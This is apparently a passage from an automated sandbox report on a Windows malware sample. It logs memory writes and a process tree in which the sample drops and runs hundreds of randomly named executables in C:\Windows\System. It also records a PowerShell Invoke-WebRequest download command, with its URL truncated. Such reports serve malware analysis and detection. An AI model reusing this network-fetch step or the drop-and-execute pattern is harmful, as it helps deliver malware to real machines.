PID 2748 wrote to memory of 2272	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	43
PID 2748 wrote to memory of 3004	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	44
PID 2748 wrote to memory of 3004	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	44
PID 2748 wrote to memory of 3004	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	44
PID 2748 wrote to memory of 2848	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	45
PID 2748 wrote to memory of 2848	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	45
PID 2748 wrote to memory of 2848	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	45
PID 2748 wrote to memory of 2816	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	46
PID 2748 wrote to memory of 2816	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	46
PID 2748 wrote to memory of 2816	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	46
PID 2748 wrote to memory of 2984	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	47
PID 2748 wrote to memory of 2984	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	47
PID 2748 wrote to memory of 2984	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	47
PID 2748 wrote to memory of 3016	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	48
PID 2748 wrote to memory of 3016	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	48
PID 2748 wrote to memory of 3016	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	48
PID 2748 wrote to memory of 2692	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	49
PID 2748 wrote to memory of 2692	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	49
PID 2748 wrote to memory of 2692	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	49
PID 2748 wrote to memory of 3056	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	50
PID 2748 wrote to memory of 3056	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	50
PID 2748 wrote to memory of 3056	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	50
PID 2748 wrote to memory of 2296	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	51
PID 2748 wrote to memory of 2296	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	51
PID 2748 wrote to memory of 2296	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	51
PID 2748 wrote to memory of 2440	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	52
PID 2748 wrote to memory of 2440	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	52
PID 2748 wrote to memory of 2440	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	52
PID 2748 wrote to memory of 1864	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	53

C:\Users\Admin\AppData\Local\Temp\cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
"C:\Users\Admin\AppData\Local\Temp\cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2888
- C:\Windows\System\UqbjgBb.exe
  C:\Windows\System\UqbjgBb.exe
  2⤵
  - Executes dropped EXE
  PID:2212
- C:\Windows\System\sCQkCQX.exe
  C:\Windows\System\sCQkCQX.exe
  2⤵
  - Executes dropped EXE
  PID:2636
- C:\Windows\System\pmBepwu.exe
  C:\Windows\System\pmBepwu.exe
  2⤵
  - Executes dropped EXE
  PID:2648
- C:\Windows\System\jQyszEQ.exe
  C:\Windows\System\jQyszEQ.exe
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Windows\System\zELQEQt.exe
  C:\Windows\System\zELQEQt.exe
  2⤵
  - Executes dropped EXE
  PID:2676
- C:\Windows\System\fwqQVGa.exe
  C:\Windows\System\fwqQVGa.exe
  2⤵
  - Executes dropped EXE
  PID:2408
- C:\Windows\System\DjRGlBI.exe
  C:\Windows\System\DjRGlBI.exe
  2⤵
  - Executes dropped EXE
  PID:2444
- C:\Windows\System\etkYarA.exe
  C:\Windows\System\etkYarA.exe
  2⤵
  - Executes dropped EXE
  PID:1824
- C:\Windows\System\XvKFbSn.exe
  C:\Windows\System\XvKFbSn.exe
  2⤵
  - Executes dropped EXE
  PID:1292
- C:\Windows\System\YUvTtFM.exe
  C:\Windows\System\YUvTtFM.exe
  2⤵
  - Executes dropped EXE
  PID:2172
- C:\Windows\System\yRSxxwI.exe
  C:\Windows\System\yRSxxwI.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\tpCHyQO.exe
  C:\Windows\System\tpCHyQO.exe
  2⤵
  - Executes dropped EXE
  PID:3004
- C:\Windows\System\CjHsYTg.exe
  C:\Windows\System\CjHsYTg.exe
  2⤵
  - Executes dropped EXE
  PID:2848
- C:\Windows\System\YMLHJKX.exe
  C:\Windows\System\YMLHJKX.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\iwUZkbk.exe
  C:\Windows\System\iwUZkbk.exe
  2⤵
  - Executes dropped EXE
  PID:2984
- C:\Windows\System\YNSROYm.exe
  C:\Windows\System\YNSROYm.exe
  2⤵
  - Executes dropped EXE
  PID:3016
- C:\Windows\System\vOLWqmw.exe
  C:\Windows\System\vOLWqmw.exe
  2⤵
  - Executes dropped EXE
  PID:2692
- C:\Windows\System\CJluJSs.exe
  C:\Windows\System\CJluJSs.exe
  2⤵
  - Executes dropped EXE
  PID:3056
- C:\Windows\System\OrOrHRV.exe
  C:\Windows\System\OrOrHRV.exe
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Windows\System\FTGjXMp.exe
  C:\Windows\System\FTGjXMp.exe
  2⤵
  - Executes dropped EXE
  PID:2440
- C:\Windows\System\fuPdEBT.exe
  C:\Windows\System\fuPdEBT.exe
  2⤵
  - Executes dropped EXE
  PID:1864
- C:\Windows\System\eXSaonF.exe
  C:\Windows\System\eXSaonF.exe
  2⤵
  - Executes dropped EXE
  PID:1872
- C:\Windows\System\ijQPOvw.exe
  C:\Windows\System\ijQPOvw.exe
  2⤵
  - Executes dropped EXE
  PID:1992
- C:\Windows\System\BUvcRZW.exe
  C:\Windows\System\BUvcRZW.exe
  2⤵
  - Executes dropped EXE
  PID:2204
- C:\Windows\System\vOmtpbl.exe
  C:\Windows\System\vOmtpbl.exe
  2⤵
  - Executes dropped EXE
  PID:2120
- C:\Windows\System\GLwuwSB.exe
  C:\Windows\System\GLwuwSB.exe
  2⤵
  - Executes dropped EXE
  PID:2392
- C:\Windows\System\SWFMPQq.exe
  C:\Windows\System\SWFMPQq.exe
  2⤵
  - Executes dropped EXE
  PID:2548
- C:\Windows\System\mpuTfYk.exe
  C:\Windows\System\mpuTfYk.exe
  2⤵
  - Executes dropped EXE
  PID:2364
- C:\Windows\System\NmqoJMx.exe
  C:\Windows\System\NmqoJMx.exe
  2⤵
  - Executes dropped EXE
  PID:1352
- C:\Windows\System\ccRzQrk.exe
  C:\Windows\System\ccRzQrk.exe
  2⤵
  - Executes dropped EXE
  PID:1752
- C:\Windows\System\fyKAHUv.exe
  C:\Windows\System\fyKAHUv.exe
  2⤵
  - Executes dropped EXE
  PID:1768
- C:\Windows\System\oYGTQGA.exe
  C:\Windows\System\oYGTQGA.exe
  2⤵
  - Executes dropped EXE
  PID:560
- C:\Windows\System\pseAtBf.exe
  C:\Windows\System\pseAtBf.exe
  2⤵
  - Executes dropped EXE
  PID:1316
- C:\Windows\System\RjblwKG.exe
  C:\Windows\System\RjblwKG.exe
  2⤵
  - Executes dropped EXE
  PID:2056
- C:\Windows\System\WBEBxpD.exe
  C:\Windows\System\WBEBxpD.exe
  2⤵
  - Executes dropped EXE
  PID:828
- C:\Windows\System\OAxhHtn.exe
  C:\Windows\System\OAxhHtn.exe
  2⤵
  - Executes dropped EXE
  PID:1604
- C:\Windows\System\KmbsKmu.exe
  C:\Windows\System\KmbsKmu.exe
  2⤵
  - Executes dropped EXE
  PID:2556
- C:\Windows\System\YCEuyZx.exe
  C:\Windows\System\YCEuyZx.exe
  2⤵
  - Executes dropped EXE
  PID:3068
- C:\Windows\System\VHgkdFH.exe
  C:\Windows\System\VHgkdFH.exe
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Windows\System\EPzLzBh.exe
  C:\Windows\System\EPzLzBh.exe
  2⤵
  - Executes dropped EXE
  PID:888
- C:\Windows\System\sAgcaTb.exe
  C:\Windows\System\sAgcaTb.exe
  2⤵
  - Executes dropped EXE
  PID:1760
- C:\Windows\System\vqtGSGQ.exe
  C:\Windows\System\vqtGSGQ.exe
  2⤵
  - Executes dropped EXE
  PID:1856
- C:\Windows\System\ixVGCiC.exe
  C:\Windows\System\ixVGCiC.exe
  2⤵
  - Executes dropped EXE
  PID:1712
- C:\Windows\System\FzpMuGs.exe
  C:\Windows\System\FzpMuGs.exe
  2⤵
  - Executes dropped EXE
  PID:1780
- C:\Windows\System\RQbuvMv.exe
  C:\Windows\System\RQbuvMv.exe
  2⤵
  - Executes dropped EXE
  PID:1580
- C:\Windows\System\JIaCSXj.exe
  C:\Windows\System\JIaCSXj.exe
  2⤵
  - Executes dropped EXE
  PID:1964
- C:\Windows\System\EBdGorw.exe
  C:\Windows\System\EBdGorw.exe
  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Windows\System\clKkOHq.exe
  C:\Windows\System\clKkOHq.exe
  2⤵
  - Executes dropped EXE
  PID:1680
- C:\Windows\System\RUxPLGN.exe
  C:\Windows\System\RUxPLGN.exe
  2⤵
  - Executes dropped EXE
  PID:1288
- C:\Windows\System\rHITZPv.exe
  C:\Windows\System\rHITZPv.exe
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Windows\System\SdPGWFO.exe
  C:\Windows\System\SdPGWFO.exe
  2⤵
  - Executes dropped EXE
  PID:784
- C:\Windows\System\TwDKIbl.exe
  C:\Windows\System\TwDKIbl.exe
  2⤵
  - Executes dropped EXE
  PID:1788
- C:\Windows\System\XRYwpBb.exe
  C:\Windows\System\XRYwpBb.exe
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\System\MNVfRDM.exe
  C:\Windows\System\MNVfRDM.exe
  2⤵
  - Executes dropped EXE
  PID:628
- C:\Windows\System\vENBpxm.exe
  C:\Windows\System\vENBpxm.exe
  2⤵
  - Executes dropped EXE
  PID:276
- C:\Windows\System\nUYXwZM.exe
  C:\Windows\System\nUYXwZM.exe
  2⤵
  - Executes dropped EXE
  PID:2512
- C:\Windows\System\JNMqkbh.exe
  C:\Windows\System\JNMqkbh.exe
  2⤵
  - Executes dropped EXE
  PID:2508
- C:\Windows\System\llHPQAC.exe
  C:\Windows\System\llHPQAC.exe
  2⤵
  - Executes dropped EXE
  PID:3064
- C:\Windows\System\KmNjSXl.exe
  C:\Windows\System\KmNjSXl.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Windows\System\wZFGjmP.exe
  C:\Windows\System\wZFGjmP.exe
  2⤵
  - Executes dropped EXE
  PID:884
- C:\Windows\System\woWQWwc.exe
  C:\Windows\System\woWQWwc.exe
  2⤵
  - Executes dropped EXE
  PID:876
- C:\Windows\System\VVvPAdz.exe
  C:\Windows\System\VVvPAdz.exe
  2⤵
  - Executes dropped EXE
  PID:1388
- C:\Windows\System\GTXuzVs.exe
  C:\Windows\System\GTXuzVs.exe
  2⤵
  - Executes dropped EXE
  PID:1028
- C:\Windows\System\sooJTLq.exe
  C:\Windows\System\sooJTLq.exe
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Windows\System\abpGiLF.exe
  C:\Windows\System\abpGiLF.exe
  2⤵
  PID:1588
- C:\Windows\System\mPHjnOO.exe
  C:\Windows\System\mPHjnOO.exe
  2⤵
  PID:2988
- C:\Windows\System\KFREVYZ.exe
  C:\Windows\System\KFREVYZ.exe
  2⤵
  PID:2900
- C:\Windows\System\dMpYkqy.exe
  C:\Windows\System\dMpYkqy.exe
  2⤵
  PID:2804
- C:\Windows\System\IqrMrIY.exe
  C:\Windows\System\IqrMrIY.exe
  2⤵
  PID:2604
- C:\Windows\System\kdINEMV.exe
  C:\Windows\System\kdINEMV.exe
  2⤵
  PID:2668
- C:\Windows\System\JHWmkkP.exe
  C:\Windows\System\JHWmkkP.exe
  2⤵
  PID:1060
- C:\Windows\System\pvTNvfj.exe
  C:\Windows\System\pvTNvfj.exe
  2⤵
  PID:748
- C:\Windows\System\VHEVSIp.exe
  C:\Windows\System\VHEVSIp.exe
  2⤵
  PID:2844
- C:\Windows\System\npWWNVn.exe
  C:\Windows\System\npWWNVn.exe
  2⤵
  PID:2928
- C:\Windows\System\JQlLjkt.exe
  C:\Windows\System\JQlLjkt.exe
  2⤵
  PID:848
- C:\Windows\System\AUrIlqS.exe
  C:\Windows\System\AUrIlqS.exe
  2⤵
  PID:3032
- C:\Windows\System\JYoPLvw.exe
  C:\Windows\System\JYoPLvw.exe
  2⤵
  PID:3000
- C:\Windows\System\nWgshDt.exe
  C:\Windows\System\nWgshDt.exe
  2⤵
  PID:2788
- C:\Windows\System\EKgnWkF.exe
  C:\Windows\System\EKgnWkF.exe
  2⤵
  PID:3008
- C:\Windows\System\AhIsfqZ.exe
  C:\Windows\System\AhIsfqZ.exe
  2⤵
  PID:2420
- C:\Windows\System\qqvPyUt.exe
  C:\Windows\System\qqvPyUt.exe
  2⤵
  PID:2584
- C:\Windows\System\eqmCfMG.exe
  C:\Windows\System\eqmCfMG.exe
  2⤵
  PID:1044
- C:\Windows\System\NFcoLyQ.exe
  C:\Windows\System\NFcoLyQ.exe
  2⤵
  PID:2924
- C:\Windows\System\SwCkrNI.exe
  C:\Windows\System\SwCkrNI.exe
  2⤵
  PID:2200
- C:\Windows\System\gkchgbE.exe
  C:\Windows\System\gkchgbE.exe
  2⤵
  PID:2324
- C:\Windows\System\EWSJgVz.exe
  C:\Windows\System\EWSJgVz.exe
  2⤵
  PID:2372
- C:\Windows\System\xqQWsjK.exe
  C:\Windows\System\xqQWsjK.exe
  2⤵
  PID:2264
- C:\Windows\System\pPBSYnU.exe
  C:\Windows\System\pPBSYnU.exe
  2⤵
  PID:2872
- C:\Windows\System\WhGQLem.exe
  C:\Windows\System\WhGQLem.exe
  2⤵
  PID:696
- C:\Windows\System\MamLvOU.exe
  C:\Windows\System\MamLvOU.exe
  2⤵
  PID:1628
- C:\Windows\System\fKzHehP.exe
  C:\Windows\System\fKzHehP.exe
  2⤵
  PID:900
- C:\Windows\System\aPejQsD.exe
  C:\Windows\System\aPejQsD.exe
  2⤵
  PID:1032
- C:\Windows\System\VjJnmbj.exe
  C:\Windows\System\VjJnmbj.exe
  2⤵
  PID:2076
- C:\Windows\System\hKdfOtG.exe
  C:\Windows\System\hKdfOtG.exe
  2⤵
  PID:872
- C:\Windows\System\OloRnVy.exe
  C:\Windows\System\OloRnVy.exe
  2⤵
  PID:1732
- C:\Windows\System\sLOOhyh.exe
  C:\Windows\System\sLOOhyh.exe
  2⤵
  PID:1252
- C:\Windows\System\zIRpExb.exe
  C:\Windows\System\zIRpExb.exe
  2⤵
  PID:1744
- C:\Windows\System\wKwgiEw.exe
  C:\Windows\System\wKwgiEw.exe
  2⤵
  PID:280
- C:\Windows\System\moYOypV.exe
  C:\Windows\System\moYOypV.exe
  2⤵
  PID:1748
- C:\Windows\System\sazMIPj.exe
  C:\Windows\System\sazMIPj.exe
  2⤵
  PID:996
- C:\Windows\System\ppQecwT.exe
  C:\Windows\System\ppQecwT.exe
  2⤵
  PID:2008
- C:\Windows\System\IVMJKaj.exe
  C:\Windows\System\IVMJKaj.exe
  2⤵
  PID:2304
- C:\Windows\System\HTFAzpv.exe
  C:\Windows\System\HTFAzpv.exe
  2⤵
  PID:2616
- C:\Windows\System\ElucqAw.exe
  C:\Windows\System\ElucqAw.exe
  2⤵
  PID:1584
- C:\Windows\System\KMSIERt.exe
  C:\Windows\System\KMSIERt.exe
  2⤵
  PID:2192
- C:\Windows\System\Noxfpjc.exe
  C:\Windows\System\Noxfpjc.exe
  2⤵
  PID:1728
- C:\Windows\System\fFAKDsU.exe
  C:\Windows\System\fFAKDsU.exe
  2⤵
  PID:2016
- C:\Windows\System\RtWFUZo.exe
  C:\Windows\System\RtWFUZo.exe
  2⤵
  PID:2908
- C:\Windows\System\QAWAnHr.exe
  C:\Windows\System\QAWAnHr.exe
  2⤵
  PID:3040
- C:\Windows\System\yPfDElO.exe
  C:\Windows\System\yPfDElO.exe
  2⤵
  PID:1988
- C:\Windows\System\uZmgfKE.exe
  C:\Windows\System\uZmgfKE.exe
  2⤵
  PID:1048
- C:\Windows\System\WlFkOMq.exe
  C:\Windows\System\WlFkOMq.exe
  2⤵
  PID:928
- C:\Windows\System\YuXeLPc.exe
  C:\Windows\System\YuXeLPc.exe
  2⤵
  PID:1412
- C:\Windows\System\bvYCdws.exe
  C:\Windows\System\bvYCdws.exe
  2⤵
  PID:2652
- C:\Windows\System\SWXvjKW.exe
  C:\Windows\System\SWXvjKW.exe
  2⤵
  PID:2492
- C:\Windows\System\vLERgUG.exe
  C:\Windows\System\vLERgUG.exe
  2⤵
  PID:2044
- C:\Windows\System\fsXeEkh.exe
  C:\Windows\System\fsXeEkh.exe
  2⤵
  PID:1312
- C:\Windows\System\hazxBRd.exe
  C:\Windows\System\hazxBRd.exe
  2⤵
  PID:1488
- C:\Windows\System\YrdZESh.exe
  C:\Windows\System\YrdZESh.exe
  2⤵
  PID:2236
- C:\Windows\System\kesZAwi.exe
  C:\Windows\System\kesZAwi.exe
  2⤵
  PID:3036
- C:\Windows\System\tJpSQvz.exe
  C:\Windows\System\tJpSQvz.exe
  2⤵
  PID:2940
- C:\Windows\System\JJmuONf.exe
  C:\Windows\System\JJmuONf.exe
  2⤵
  PID:2368
- C:\Windows\System\anXsJqT.exe
  C:\Windows\System\anXsJqT.exe
  2⤵
  PID:912
- C:\Windows\System\hrUOayq.exe
  C:\Windows\System\hrUOayq.exe
  2⤵
  PID:908
- C:\Windows\System\cUYrMub.exe
  C:\Windows\System\cUYrMub.exe
  2⤵
  PID:1700
- C:\Windows\System\PDjPcAl.exe
  C:\Windows\System\PDjPcAl.exe
  2⤵
  PID:2764
- C:\Windows\System\JNiRTpu.exe
  C:\Windows\System\JNiRTpu.exe
  2⤵
  PID:3060
- C:\Windows\System\DoBxLSw.exe
  C:\Windows\System\DoBxLSw.exe
  2⤵
  PID:840
- C:\Windows\System\zNKaJbo.exe
  C:\Windows\System\zNKaJbo.exe
  2⤵
  PID:668
- C:\Windows\System\hKvVGMo.exe
  C:\Windows\System\hKvVGMo.exe
  2⤵
  PID:984
- C:\Windows\System\DywVkso.exe
  C:\Windows\System\DywVkso.exe
  2⤵
  PID:1616
- C:\Windows\System\KRJRULC.exe
  C:\Windows\System\KRJRULC.exe
  2⤵
  PID:2660
- C:\Windows\System\BytvoEP.exe
  C:\Windows\System\BytvoEP.exe
  2⤵
  PID:2176
- C:\Windows\System\TfefcoS.exe
  C:\Windows\System\TfefcoS.exe
  2⤵
  PID:2436
- C:\Windows\System\ZnkiwAr.exe
  C:\Windows\System\ZnkiwAr.exe
  2⤵
  PID:2784
- C:\Windows\System\tfMiLKl.exe
  C:\Windows\System\tfMiLKl.exe
  2⤵
  PID:2632
- C:\Windows\System\NzxxKLw.exe
  C:\Windows\System\NzxxKLw.exe
  2⤵
  PID:568
- C:\Windows\System\UseErNB.exe
  C:\Windows\System\UseErNB.exe
  2⤵
  PID:536
- C:\Windows\System\txgTnFB.exe
  C:\Windows\System\txgTnFB.exe
  2⤵
  PID:3076
- C:\Windows\System\NfYmRqH.exe
  C:\Windows\System\NfYmRqH.exe
  2⤵
  PID:3092
- C:\Windows\System\oHWwQGo.exe
  C:\Windows\System\oHWwQGo.exe
  2⤵
  PID:3108
- C:\Windows\System\lRotNXN.exe
  C:\Windows\System\lRotNXN.exe
  2⤵
  PID:3124
- C:\Windows\System\FffjeKD.exe
  C:\Windows\System\FffjeKD.exe
  2⤵
  PID:3140
- C:\Windows\System\FCdqaxb.exe
  C:\Windows\System\FCdqaxb.exe
  2⤵
  PID:3156
- C:\Windows\System\PJeduMC.exe
  C:\Windows\System\PJeduMC.exe
  2⤵
  PID:3172
- C:\Windows\System\eGVBUxn.exe
  C:\Windows\System\eGVBUxn.exe
  2⤵
  PID:3188
- C:\Windows\System\ikfAyLA.exe
  C:\Windows\System\ikfAyLA.exe
  2⤵
  PID:3204
- C:\Windows\System\yVVpzsw.exe
  C:\Windows\System\yVVpzsw.exe
  2⤵
  PID:3220
- C:\Windows\System\iowjadl.exe
  C:\Windows\System\iowjadl.exe
  2⤵
  PID:3236
- C:\Windows\System\gxCplmW.exe
  C:\Windows\System\gxCplmW.exe
  2⤵
  PID:3252
- C:\Windows\System\viACidG.exe
  C:\Windows\System\viACidG.exe
  2⤵
  PID:3268
- C:\Windows\System\iwkMqCJ.exe
  C:\Windows\System\iwkMqCJ.exe
  2⤵
  PID:3284
- C:\Windows\System\LsDIVzs.exe
  C:\Windows\System\LsDIVzs.exe
  2⤵
  PID:3300
- C:\Windows\System\aauXkeq.exe
  C:\Windows\System\aauXkeq.exe
  2⤵
  PID:3316
- C:\Windows\System\exSKlSb.exe
  C:\Windows\System\exSKlSb.exe
  2⤵
  PID:3332
- C:\Windows\System\NNRgqNM.exe
  C:\Windows\System\NNRgqNM.exe
  2⤵
  PID:3348
- C:\Windows\System\NaOFlGa.exe
  C:\Windows\System\NaOFlGa.exe
  2⤵
  PID:3364
- C:\Windows\System\QgcEQqR.exe
  C:\Windows\System\QgcEQqR.exe
  2⤵
  PID:3380
- C:\Windows\System\vFoHbgL.exe
  C:\Windows\System\vFoHbgL.exe
  2⤵
  PID:3396
- C:\Windows\System\dEEHduF.exe
  C:\Windows\System\dEEHduF.exe
  2⤵
  PID:3412
- C:\Windows\System\rglUnoK.exe
  C:\Windows\System\rglUnoK.exe
  2⤵
  PID:3428
- C:\Windows\System\blfuSXC.exe
  C:\Windows\System\blfuSXC.exe
  2⤵
  PID:3464
- C:\Windows\System\YMpzqlM.exe
  C:\Windows\System\YMpzqlM.exe
  2⤵
  PID:3496
- C:\Windows\System\sBoQdya.exe
  C:\Windows\System\sBoQdya.exe
  2⤵
  PID:3516
- C:\Windows\System\BmvyRyw.exe
  C:\Windows\System\BmvyRyw.exe
  2⤵
  PID:3532
- C:\Windows\System\DFAKuGu.exe
  C:\Windows\System\DFAKuGu.exe
  2⤵
  PID:3548
- C:\Windows\System\xYWxRGc.exe
  C:\Windows\System\xYWxRGc.exe
  2⤵
  PID:3564
- C:\Windows\System\oQFMPwm.exe
  C:\Windows\System\oQFMPwm.exe
  2⤵
  PID:3580
- C:\Windows\System\IVTVGmi.exe
  C:\Windows\System\IVTVGmi.exe
  2⤵
  PID:3596
- C:\Windows\System\PAaTXJV.exe
  C:\Windows\System\PAaTXJV.exe
  2⤵
  PID:3616
- C:\Windows\System\VrlsiLa.exe
  C:\Windows\System\VrlsiLa.exe
  2⤵
  PID:3632
- C:\Windows\System\YYufGea.exe
  C:\Windows\System\YYufGea.exe
  2⤵
  PID:3648
- C:\Windows\System\sVUVabS.exe
  C:\Windows\System\sVUVabS.exe
  2⤵
  PID:3664
- C:\Windows\System\wejizJO.exe
  C:\Windows\System\wejizJO.exe
  2⤵
  PID:3684
- C:\Windows\System\yYOOuYh.exe
  C:\Windows\System\yYOOuYh.exe
  2⤵
  PID:3700
- C:\Windows\System\hEHUUUG.exe
  C:\Windows\System\hEHUUUG.exe
  2⤵
  PID:3716
- C:\Windows\System\swMXDnk.exe
  C:\Windows\System\swMXDnk.exe
  2⤵
  PID:3736
- C:\Windows\System\nSBhrOl.exe
  C:\Windows\System\nSBhrOl.exe
  2⤵
  PID:3752
- C:\Windows\System\nBJmnbZ.exe
  C:\Windows\System\nBJmnbZ.exe
  2⤵
  PID:3768
- C:\Windows\System\eCBhAGp.exe
  C:\Windows\System\eCBhAGp.exe
  2⤵
  PID:3788
- C:\Windows\System\KobKRQA.exe
  C:\Windows\System\KobKRQA.exe
  2⤵
  PID:3804
- C:\Windows\System\czccXdz.exe
  C:\Windows\System\czccXdz.exe
  2⤵
  PID:3820
- C:\Windows\System\TrJyxdZ.exe
  C:\Windows\System\TrJyxdZ.exe
  2⤵
  PID:3836
- C:\Windows\System\ZZearSb.exe
  C:\Windows\System\ZZearSb.exe
  2⤵
  PID:3856
- C:\Windows\System\gMtmNdm.exe
  C:\Windows\System\gMtmNdm.exe
  2⤵
  PID:3872
- C:\Windows\System\WuWfmff.exe
  C:\Windows\System\WuWfmff.exe
  2⤵
  PID:3888
- C:\Windows\System\iLflntZ.exe
  C:\Windows\System\iLflntZ.exe
  2⤵
  PID:3904
- C:\Windows\System\CtQMWtv.exe
  C:\Windows\System\CtQMWtv.exe
  2⤵
  PID:3920
- C:\Windows\System\RCzNoJp.exe
  C:\Windows\System\RCzNoJp.exe
  2⤵
  PID:3936
- C:\Windows\System\fxahwGd.exe
  C:\Windows\System\fxahwGd.exe
  2⤵
  PID:3952
- C:\Windows\System\ueUSfTZ.exe
  C:\Windows\System\ueUSfTZ.exe
  2⤵
  PID:3968
- C:\Windows\System\KLEhWYa.exe
  C:\Windows\System\KLEhWYa.exe
  2⤵
  PID:3984
- C:\Windows\System\CXETZZl.exe
  C:\Windows\System\CXETZZl.exe
  2⤵
  PID:4000
- C:\Windows\System\BTpSHLG.exe
  C:\Windows\System\BTpSHLG.exe
  2⤵
  PID:4016
- C:\Windows\System\xqsNRga.exe
  C:\Windows\System\xqsNRga.exe
  2⤵
  PID:4040
- C:\Windows\System\emwoCST.exe
  C:\Windows\System\emwoCST.exe
  2⤵
  PID:4056
- C:\Windows\System\PNZZNci.exe
  C:\Windows\System\PNZZNci.exe
  2⤵
  PID:4072
- C:\Windows\System\JcPOkqo.exe
  C:\Windows\System\JcPOkqo.exe
  2⤵
  PID:4088
- C:\Windows\System\vkkUlXx.exe
  C:\Windows\System\vkkUlXx.exe
  2⤵
  PID:812
- C:\Windows\System\NuOlGmT.exe
  C:\Windows\System\NuOlGmT.exe
  2⤵
  PID:4100
- C:\Windows\System\LYSDLFN.exe
  C:\Windows\System\LYSDLFN.exe
  2⤵
  PID:4116
- C:\Windows\System\sxNGpEz.exe
  C:\Windows\System\sxNGpEz.exe
  2⤵
  PID:4132
- C:\Windows\System\BwmnNOt.exe
  C:\Windows\System\BwmnNOt.exe
  2⤵
  PID:4148
- C:\Windows\System\FaoZmNJ.exe
  C:\Windows\System\FaoZmNJ.exe
  2⤵
  PID:4168
- C:\Windows\System\AkeFMWf.exe
  C:\Windows\System\AkeFMWf.exe
  2⤵
  PID:4516
- C:\Windows\System\JAgIKoa.exe
  C:\Windows\System\JAgIKoa.exe
  2⤵
  PID:4532
- C:\Windows\System\ZchEuPv.exe
  C:\Windows\System\ZchEuPv.exe
  2⤵
  PID:4548
- C:\Windows\System\aefTHzk.exe
  C:\Windows\System\aefTHzk.exe
  2⤵
  PID:4564
- C:\Windows\System\ftJIOvW.exe
  C:\Windows\System\ftJIOvW.exe
  2⤵
  PID:4580
- C:\Windows\System\qYdzkrQ.exe
  C:\Windows\System\qYdzkrQ.exe
  2⤵
  PID:4604
- C:\Windows\System\aSXLrUT.exe
  C:\Windows\System\aSXLrUT.exe
  2⤵
  PID:4620
- C:\Windows\System\AGoEINZ.exe
  C:\Windows\System\AGoEINZ.exe
  2⤵
  PID:4640
- C:\Windows\System\cWAlffl.exe
  C:\Windows\System\cWAlffl.exe
  2⤵
  PID:4692
- C:\Windows\System\SdFCeJf.exe
  C:\Windows\System\SdFCeJf.exe
  2⤵
  PID:4708
- C:\Windows\System\bFojhuH.exe
  C:\Windows\System\bFojhuH.exe
  2⤵
  PID:4724
- C:\Windows\System\ICyQihC.exe
  C:\Windows\System\ICyQihC.exe
  2⤵
  PID:4744
- C:\Windows\System\EQixoCh.exe
  C:\Windows\System\EQixoCh.exe
  2⤵
  PID:4760
- C:\Windows\System\lJHKwBk.exe
  C:\Windows\System\lJHKwBk.exe
  2⤵
  PID:4776
- C:\Windows\System\QdfcSLX.exe
  C:\Windows\System\QdfcSLX.exe
  2⤵
  PID:4792
- C:\Windows\System\jzACEdu.exe
